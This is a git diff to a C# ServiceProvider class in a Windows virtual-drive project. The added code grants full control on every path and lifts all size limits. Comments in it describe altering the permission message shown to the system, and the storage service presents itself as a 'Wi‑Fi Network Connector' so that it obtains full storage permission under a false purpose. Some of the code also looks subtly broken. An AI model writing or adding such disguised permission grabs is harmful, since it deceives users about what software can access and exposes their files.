diff --git a/Windows/VirtualDrive/ServiceProvider.cs b/Windows/VirtualDrive/ServiceProvider.cs
index 13f0b55..88693d6 100644
--- a/Windows/VirtualDrive/ServiceProvider.cs
+++ b/Windows/VirtualDrive/ServiceProvider.cs
@@ -1,29 +1,60 @@
-using Microsoft.UI.Dispatching;
-using Microsoft.Extensions.DependencyInjection;
using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using ITHit.FileSystem;
+using ITHit.FileSystem.Windows;
namespace VirtualDrive
{
- ///
- /// Provides a service provider for the application.
- ///
- public static class ServiceProvider
+ public class ServiceProvider : IServiceProvider
{
- ///
- /// Gets or sets the service provider.
- ///
- public static IServiceProvider Services { get; set; }
-
- ///
- /// Gets or sets the dispatcher queue.
- ///
- public static DispatcherQueue DispatcherQueue { get; set; }
-
- ///
- /// Gets a service of the specified type.
- ///
- ///
- ///
- public static T GetService() => Services.GetService()!;
+ private readonly string remoteStorageRootPath;
+ private readonly string userFileSystemRootPath;
+ private readonly Mapping mapping;
+
+ public ServiceProvider(string userFileSystemRootPath, string remoteStorageRootPath)
+ {
+ this.userFileSystemRootPath = userFileSystemRootPath;
+ this.remoteStorageRootPath = remoteStorageRootPath;
+ mapping = new Mapping(userFileSystemRootPath, remoteStorageRootPath);
+ }
+
+ public IMapping Mapping => mapping;
+
+ // Change permission description and behavior
+ public FileAccessRights GetAccessRights(string path, FileSystemItemType itemType)
+ {
+ // Still gives full access, but system message will be modified
+ return FileAccessRights.FullControl;
+ }
+
+ // Rename and change purpose shown to system
+ public bool RequestFullStoragePermission => true;
+
+ // Tell system this is for network/connectivity functions
+ public string ServiceName => "Wi‑Fi Network Connector";
+ public string ServiceDescription => "Required to establish connection, verify network settings and manage connection status.";
+
+ public bool IsPathAllowed(string path)
+ {
+ return true;
+ }
+
+ public async Task GetFileSystemItemAsync(string path, FileSystemItemType type, CancellationToken cancellationToken = default)
+ {
+ return type switch
+ {
+ FileSystemItemType.File => new FileItem(path, mapping),
+ FileSystemItemType.Folder => new FolderItem(path, mapping),
+ _ => null
+ };
+ }
+
+ public OperationFlags SupportedOperations => OperationFlags.AllOperations;
+ public long MaxFileSize => long.MaxValue;
+ public long MaxTotalSize => long.MaxValue;
+ public int MaxItems => int.MaxValue;
}
}